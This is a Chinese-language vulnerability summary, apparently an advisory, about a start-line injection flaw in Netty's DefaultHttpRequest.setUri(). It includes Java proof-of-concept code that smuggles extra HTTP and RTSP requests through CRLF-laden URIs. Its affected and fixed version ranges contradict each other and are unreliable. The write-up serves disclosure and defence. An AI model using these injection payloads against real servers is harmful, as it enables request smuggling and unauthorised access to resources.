# 漏洞总结:DefaultHttpRequest.setUri() 导致的起始行注入 ## 漏洞概述 Netty 允许绕过请求行验证。当创建 `DefaultHttpRequest` 或 `DefaultFullHttpRequest` 对象后,通过 `setUri()` 方法修改 URI 时,不会执行构造函数中的 CRLF 和空白字符验证。这导致攻击者可以注入额外的 HTTP 或 RTSP 请求,引发 HTTP 请求走私和 RTSP 请求注入。 ## 影响范围 - **受影响版本**:`io.netty:netty-codec-http` < 4.2.12.Final, < 4.1.132.Final - **修复版本**:4.2.13.Final, 4.1.133.Final - **CVSS 评分**:5.3 / 10 (Moderate) - **CVE ID**:CVE-2024-41417 ## 修复方案 `DefaultHttpRequest.setUri()` 及其所有委托/继承路径应应用与构造函数相同的请求行令牌验证。 ## 概念验证代码 (PoC) ### HTTP 请求走私 PoC ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglPoC { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/x1 HTTP/1.1\r\n" + "\r\n" + "POST /x2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World\r\n" + "GET /x3"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retain().duplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` ### RTSP 请求注入 PoC ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglPoC { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retain().duplicate()); } } ```